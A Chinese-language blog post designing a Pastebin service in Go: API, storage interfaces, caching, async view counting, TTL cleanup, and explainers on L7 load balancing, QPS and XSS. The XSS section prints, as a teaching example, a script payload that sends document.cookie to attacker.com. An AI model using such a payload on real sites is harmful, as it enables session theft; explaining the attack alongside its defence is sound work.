系统设计 System Design -4-3-系统设计问题-设计Pastebin(生成唯一的 URL 来访问上传的数据)/L7负载均衡器等

135 阅读16分钟

设计Pastebin

这是一个基于 Go 语言设计思想(强调简洁、并发、接口和组合)的细化 Pastebin 系统设计方案。该方案不包含任何代码,专注于架构和组件的交互逻辑。

1. 什么是Pastebin?

类似 Pastebin 的服务允许用户通过网络存储纯文本,并生成唯一的 URL 来访问上传的数据。此类服务也用于快速在网络上共享数据,因为用户只需传递 URL 即可让其他用户查看。

2. 系统需求与目标

此设计旨在满足以下具体要求:

功能要求

  • 文本上传: 用户必须能够上传纯文本数据。
  • 唯一 URL 生成: 每次成功上传后,系统必须返回一个唯一的、可公开访问的 URL。
  • 内容访问: 用户可以通过访问该 URL 来查看原始上传的纯文本内容。
  • 过期设置: 用户在上传时必须能够指定一个过期时间(例如:10分钟、1小时、1天、永不)。数据一旦过期,URL 应失效。
  • 自定义别名: 用户可以选择性地为他们的粘贴提供一个自定义的、人类可读的 URL 别名(例如 paste.bin/my-config)。
  • 内容类型限制: 系统只接受纯文本内容。

非功能性需求

  • 高可用性: 系统必须具有高正常运行时间(例如 99.99%),对读取和写入请求都能持续响应。
  • 可靠性(持久性): 一旦系统确认上传成功,数据不应丢失(直到过期)。
  • 低延迟: 读取和写入操作的 p99 延迟应保持在较低水平(例如 200 毫秒内)。
  • 不可猜测的 URL: 自动生成的 URL 密钥必须是随机的,并且具有足够大的密钥空间,以防止恶意用户通过枚举或猜测来发现他人的粘贴。
  • 可扩展性: 系统必须能够水平扩展,以应对不断增长的流量和数据存储需求。

扩展要求

  • 分析: 系统应能追踪每个粘贴被访问的次数。
  • API 访问: 必须提供一个 RESTful API,允许第三方开发者以编程方式使用此服务(例如,用于 curl 上传)。

3. 一些设计考虑

  • 内容限制: 为防止滥用,每次粘贴的最大文本量将限制为 10MB。
  • 自定义 URL 限制: 自定义别名将有合理的长度和字符限制,以保持 URL 数据库的一致性。

4. 容量估算与约束

  • 读写比: 5:1(读取密集型)。
  • 写入量: 每天 100 万次新粘贴,约等于 12 QPS(每秒查询)。
  • 读取量: 每天 500 万次读取,约等于 58 QPS。
  • 存储量: 假设平均粘贴大小为 10KB,每天将产生 10GB 的新数据。10 年的总存储需求约为 36TB(不考虑副本和开销)。
  • 密钥空间: 使用 8 位 Base64 字符串(64^8)将提供超过 281 万亿的唯一组合,这对于 10 年 36 亿的粘贴量来说绰绰有余,使得密钥碰撞的概率极低。
  • 带宽: 写入入口约 120 KB/s,读取出口约 0.6 MB/s。
  • 缓存: 遵循 80/20 原则,缓存 20% 的热门读取请求,需要约 10GB 的缓存内存。

5. 系统 API

服务将通过 RESTful API 公开,接收和返回 JSON。

  • POST /paste/add

    • 请求体 (Body): paste_data (字符串, 必需), custom_url (字符串, 可选), expire_date (字符串, 可选)。
    • 成功响应 (201): {"url": "http://paste.bin/ShortKey"}
  • GET /paste/get/{api_paste_key}

    • 参数: api_paste_key (字符串, 必需)。
    • 成功响应 (200): 返回原始的纯文本数据(Content-Type: text/plain)。
    • 失败响应 (404): 如果粘贴不存在或已过期。
  • DELETE /paste/delete/{api_paste_key}

    • 成功响应 (200): {"status": "deleted"}

6. 数据库设计(Go 接口思想)

Go 的哲学强调通过接口进行解耦。应用层的业务逻辑不应依赖于任何特定的数据库实现。相反,它将依赖于一组定义了所需行为的接口。

  • 数据结构 Paste

    • ShortKey (String): 主键,8位随机 Base64 字符串。
    • CustomAlias (String): 可选的二级索引。
    • Content (Bytes): 存储小于 64KB 的内联内容。
    • ContentS3Path (String): 存储大于 64KB 的内容的 S3 路径。
    • ExpirationTimestamp (Int64): Unix 时间戳,用于 TTL。
    • ViewCount (Int64): 浏览次数。
    • CreationTimestamp (Int64): 创建时间。
  • 存储接口 PasteStore (元数据):

    • Put(ctx context.Context, p *Paste) error: 将一个新的 Paste 记录写入数据库。
    • Get(ctx context.Context, key string) (*Paste, error): 通过 ShortKey 检索 Paste 记录。
    • GetByAlias(ctx context.Context, alias string) (*Paste, error): 通过 CustomAlias 检索 Paste 记录。
    • IncrementViewCount(ctx context.Context, key string, count int) error: 批量或原子地增加一个键的浏览次数。
  • 对象存储接口 BlobStore (大文件):

    • Upload(ctx context.Context, key string, data io.Reader) (string, error): 将数据流上传到对象存储,并返回路径。
    • Download(ctx context.Context, path string) (io.ReadCloser, error): 返回一个指向对象内容的数据流。
  • 缓存接口 Cache

    • Get(ctx context.Context, key string) (*Paste, error): 从缓存中获取 Paste 对象。
    • Set(ctx context.Context, key string, p *Paste, expiration time.Duration) error: 将 Paste 对象存入缓存。

这种设计允许在不更改业务逻辑的情况下,使用不同的实现(例如,DynamoPasteStore vs MySQLPasteStore)并使用内存中的 MockStore 进行单元测试。

7. 高层设计

系统由以下几个解耦的组件构成:

  1. 负载均衡器 (LB): L7 负载均衡器,将流量分发到应用服务器。

  2. 应用层 (App Layer): 一组无状态的 Go HTTP 服务器实例。

  3. 缓存 (Cache): 分布式缓存(如 Redis),实现了 Cache 接口。

  4. 存储层:

    • 元数据数据库 (Metadata DB): NoSQL 数据库(如 DynamoDB),实现了 PasteStore 接口。
    • 对象存储 (Object Storage): S3,实现了 BlobStore 接口。
  5. 异步分析系统:

    • 缓冲通道 (Buffered Channel): 在应用服务器内存中,用于临时缓冲分析事件。
    • 消息队列 (Message Queue): 如 Kafka/SQS,用于持久化分析事件。
    • 分析服务 (Analytics Service): 一个独立的 Go 服务,用于消费队列消息并批量更新数据库。

8. 组件设计(Go 思想细化)

a. 应用层 (HTTP Handlers)

每个 HTTP 处理器都将利用 Go 的并发、流处理和上下文特性。

  • 上下文 (Context): net/http 为每个请求提供一个 context.Context。此 Context 将被传递到所有下游调用(PasteStore, BlobStore, Cache),以实现超时控制和请求取消的传播。

  • 写入路径 (handleAddPaste):

    1. 限制: 使用 Go 标准库的 http.MaxBytesReader 来限制请求体大小为 10MB,防止 DoS 攻击。

    2. 密钥生成 (无 KGS): 处理器在本地生成一个 8 位的随机 Base64 字符串。

    3. 内容存储 (内联):

      • 如果数据小于 64KB,它将被直接放入 Paste 结构的 Content 字段。
      • 如果数据大于 64KB,它将被(作为 io.Reader)流式上传到 BlobStore,返回的路径存储在 ContentS3Path 中。
    4. 元数据写入:

      • 处理器调用 PasteStore.Put
      • 冲突处理: 鉴于 12 QPS 的低写入量和 64864^8 的巨大密钥空间,密钥碰撞概率极低。设计将采用简单的重试策略:如果 Put 因主键冲突而失败,处理器将简单地生成一个新密钥并重试该操作(最多 3 次)。这消除了对复杂的 KGS 的需求。
    5. 返回: 返回 201 Created 和 URL。

  • 读取路径 (handleGetPaste):

    1. 缓存: 调用 Cache.Get

    2. 缓存命中:

      • 立即返回缓存的 Paste 内容。
      • 异步地将 ShortKey 发送到分析通道。
    3. 缓存未命中:

      • 调用 PasteStore.Get (传入 Context)。

      • 如果未找到,返回 404。

      • 懒惰删除: 检查 ExpirationTimestamp。如果已过期,返回 404(就像未找到一样)。

      • 内容检索 (Go 流处理):

        • 如果内容在 Content 字段(内联),则直接返回。
        • 如果内容在 ContentS3Path,则调用 BlobStore.Download。此方法返回一个 io.ReadCloser(一个流)。
        • 处理器将使用 io.Copy 将这个 S3 流直接复制到 HTTP 响应流中。关键优势: 10MB 的文件不会被加载到应用服务器的内存中,使内存占用保持恒定和低位。
      • 异步分析:ShortKey 发送到分析通道。

      • 异步缓存: 启动一个新的 goroutine("即发即忘")来调用 Cache.Set,将此 Paste 对象存入缓存。这确保了用户的响应不会因为等待缓存写入而延迟。

b. 异步分析服务 (Go 并发模式)

此组件用于解决 ViewCount 的扩展要求,同时不影响主请求的延迟。

  • 非阻塞发送:

    • HTTP 处理器(在 handleGetPaste 中)将 ShortKey 发送到一个带缓冲的 Go channel
    • 该发送操作将使用 selectdefault 关键字,使其成为非阻塞的。
    • 设计决策: 如果通道已满(意味着分析系统出现反压),该浏览事件将被丢弃。这是一种“优雅降级”,它保证了主读取服务的可用性(可用性 > 100% 准确的分析)。
  • 内存聚合 (Worker Goroutine):

    • 一个单独的 goroutine 从缓冲通道中读取 ShortKey
    • 它使用一个 map[string]int 在内存中聚合计数。
  • 批量刷新 (Ticker):

    • 使用 time.Ticker(例如每 5 秒钟)或当聚合的 map 达到一定大小时,此 goroutine 会将这些批量计(例如 {"abc123": 150, "xyz789": 80})推送到一个持久的消息队列(如 Kafka 或 SQS)。
  • 数据库消费者 (独立服务):

    • 一个完全独立的服务(或一组 Go worker)消费 Kafka/SQS 消息。
    • 它从队列中读取批量计数,并调用 PasteStore.IncrementViewCount 来批量更新数据库。
    • 优点: 这种多级解耦保护了主数据库免受读取请求(58 QPS)引起的写入风暴。

9. 数据清理(数据库 TTL)

此设计不使用应用层的手动清理任务。将依赖所选 NoSQL 数据库(如 DynamoDB)的内置 TTL 功能。应用层在 PasteStore.Put 时只需正确设置 ExpirationTimestamp 字段。数据库将在后台自动、异步地删除过期的条目,对性能影响最小。

10. 数据分区和复制

  • 分区(Sharding): 将依赖于 NoSQL 数据库(如 DynamoDB 或 Cassandra)的自动分区功能。ShortKey 作为主键,其高随机性确保了数据和负载能够均匀分布在所有分区上。
  • 复制: 数据库的内置复制功能将用于确保数据的可靠性(持久性)和高可用性。

11. 缓存和负载均衡器

  • 负载均衡器: L7 负载均衡器将终止 HTTPS,并根据 HTTP 路径将 /paste/add, /paste/get 等请求路由到应用层服务器组。
  • 缓存: 使用分布式 LRU 缓存(如 Redis)。缓存层实现了在第 6 节中定义的 Cache 接口。

12. 安全和性能

  • 安全:

    • XSS 防护: 所有 handleGetPaste 请求将强制设置 HTTP 响应头 Content-Type: text/plain; charset=utf-8。这指示浏览器将内容仅渲染为纯文本,即使其中包含 <script> 标签,也使其无法执行,从而从根本上消除了 XSS 漏洞。
    • 速率限制: 在负载均衡器或 Go HTTP 中间件中实施基于 IP 和 API 密钥的速率限制。
    • 输入验证: 严格验证 custom_url 的格式,只允许使用安全的 URL 字符。
  • 性能分析 (Go 特性):

    • Go 应用将导入 net/http/pprof 包。
    • 这会自动在 /debug/pprof/ 端点上启用 Go 的运行时分析工具。运维团队可以随时连接到任何正在运行的实例,以分析 CPU 热点、内存分配以及检查是否有 goroutine 泄露,而无需重启服务。这是确保长期稳定性和高性能的关键。

13. 知识点

L7负载均衡器

L7指的是 OSI 7 层网络模型 中的第 7 层:应用层

  • L4 负载均衡器(如 AWS NLB)工作在第 4 层(传输层)。它只“看”得到 IP 地址和端口号(例如 1.2.3.4:80)。它会把 TCP/UDP 流量盲目地转发给后端的服务器,但不理解流量的内容。
  • L7 负载均衡器(如 Nginx, HAProxy, AWS ALB)则“看”得懂应用层数据,比如 HTTP。它可以读取 HTTP 请求的 URL、Headers、Cookies 等,然后决定把这个流量交给哪一个Docker 容器或哪一台服务器去处理。

例子:

看到请求 GET /paste/get/abc,将其转发到“读取服务器组”。

看到请求 POST /paste/add,将其转发到“写入服务器组”。

看到请求 /debug/pprof/(Go 的性能分析),将其转发到特定的运维端口或直接拒绝。

DoS (Denial of Service)

拒绝服务攻击,是一种网络攻击,其目的是耗尽目标服务器的资源,使其无法响应正常用户的请求。http.MaxBytesReader就像一个“最大 10MB”的门框,任何超大的包裹都会被立即拒收,从而保护了商店内部的正常运作。

DDoS (Distributed DoS): 指的是“分布式拒绝服务攻击”,即攻击者从全球成千上万个被黑的电脑(僵尸网络)同时发动攻击,更难防御。

"S3" (Simple Storage Service)

在系统设计中,"S3" 已经成为 “对象存储”的代名词

AWSS3Store 结构体在内部会使用 AWS Go SDK(亚马逊官方提供的 Go 库)去连接你的 S3 桶、验证身份,并下载文件。

io.Copy 的意思是:Go 应用从 S3 读取一小块数据(比如 64KB),然后立刻把这一小块数据写入到给用户的 HTTP 响应中。然后它再读下一块,再写下一块。

  • 关键点: 它是一个流 (Stream) 。服务器不需要先把 整个 10MB 文件下载到自己的内存或硬盘中,再转发给用户。它像一根水管,数据从 S3 流进来,直接就流向用户,服务器只占用极小的内存(那个 64KB 的缓冲区)。

为什么不直接给用户 S3 链接?

  • 安全和权限: S3 桶必须是私有的,如果设为公开,任何人都可以爬取所有数据。
  • 检查过期逻辑: 粘贴的过期时间(ExpirationTimestamp)存在元数据数据库里,S3 根本不知道。
  • 统计分析 (ViewCount): 如果用户直接访问 S3,服务器根本不知道这次访问发生了。
  • 抽象和解耦: 假设公共 URL 是 paste.bin/abc123,用户只认这个。今天你用 S3 存,明天你想换成阿里云 OSS,只需要改服务器的后端实现。
  • 安全标头 (XSS 防护): 服务器在返回数据时,会强制加上 Content-Type: text/plain 头,通过服务器中转能 100% 保证这个安全策略被执行。
QPS (Queries Per Second) 类比

QPS(每秒查询)是衡量服务器处理能力的核心指标。

  • 12 (写) / 58 (读) QPS: 这是非常低的流量。一台几年前的笔记本电脑都能轻松处理。这个级别的项目,一台小小的云服务器就足够了。

  • 中小型应用(例如,一个热门的技术博客或小型电商):

    • QPS: 100 ~ 1,000。这需要几台服务器做负载均衡。
  • 大型应用(例如,B 站、优酷):

    • QPS: 100,000 ~ 500,000+。
    • 这不是指视频流(视频流走 CDN,是带宽问题),而是指打开 App、刷新推荐、读取评论、发送弹幕这些“元数据”请求。在高峰期(比如 B 站跨年晚会),QPS 会瞬间冲到这个量级,需要庞大的服务器集群。
  • 超大型应用(例如,淘宝、京东、抖音):

    • QPS: 1,000,000+ (百万级别)。
    • 淘宝/京东(双十一): 几年前他们公布的峰值“下单”QPS 就达到了 50 万+/秒。注意,这只是创建订单的 QPS,而“浏览商品”、“搜索”的 QPS 会比这个高 10 到 100 倍,轻松达到数百万 QPS
    • 抖音(刷新推荐): 全球有数亿人同时在刷,每次一刷,就要请求一次推荐算法。这个系统的 QPS 也是数百万级别
XSS (Cross-Site Scripting)

跨站脚本攻击 (Cross-Site Scripting),攻击者想办法在你的网站(paste.bin)上,注入并执行他的恶意 JavaScript 脚本,从而在其他用户的浏览器上运行。

攻击示例:

  1. 攻击者创建一个 Paste,内容不是纯文本,而是: 这是一段正常的文字... <script> fetch('http://attacker.com/steal?cookie=' + document.cookie); </script>
  2. 受害者登录了 paste.bin,然后点击了攻击者发来的链接 paste.bin/malicious
  3. 浏览器开始渲染这个页面。它读到 <script> 标签时,它以为这是 paste.bin 网站的正常功能,于是执行了这段 JavaScript。
  4. 后果: 这段脚本偷走了登录凭证(document.cookie),并把它发送到了攻击者的服务器。攻击者现在可以盗用你的账号。

XSS 防护 (Content-Type: text/plain) 是如何工作的?

服务器响应请求时,在 HTTP 头部加了一行:Content-Type: text/plain。浏览器收到恶意 Paste 后,看到了这个命令。它会禁用 HTML 渲染引擎,只是把内容原封不动地显示在屏幕上,包括尖括号: 这是一段正常的文字... <script> fetch('http://attacker.com/steal?cookie=' + document.cookie); </script>

批处理(Batch Processing)

我之前自己做的小玩具中,对rabbitMQ的消息都是一条消息来,就对mysql进行一次操作,经过这个项目,了解到消费者可以先对传来的消息做聚合,相同的操作就可以合并为一个操作。

优点:

  1. 性能:在内存中聚合 map[string]int纳秒级的操作。而写入数据库是毫秒级的操作(慢了100万倍)。你用100万次“快操作”换来了1次“慢操作”,系统总吞吐量指数级提升
  2. 成本:像 AWS DynamoDB 这样的云数据库是按“写入次数”收费的。你把1000条消息聚合成1次写入,成本直接降低了99.9%
  3. 数据库保护:你的主数据库(MySQL/DynamoDB)是系统的核心,非常宝贵。如果每秒有 10,000 次访问,你就用 10,000 QPS 的写入去冲击数据库,它很快就会崩溃。通过批处理,你可能把这 10,000 QPS 的访问转换成每 10 秒才 1 次的批量写入,数据库会非常健康。

代价就是“实时性”的牺牲。

  • 单条处理: 用户访问后,ViewCount 1 秒内就更新了。
  • 批量处理: 用户访问后,ViewCount 可能要等到5 秒钟或 10 秒钟(你设定的聚合周期)之后才更新。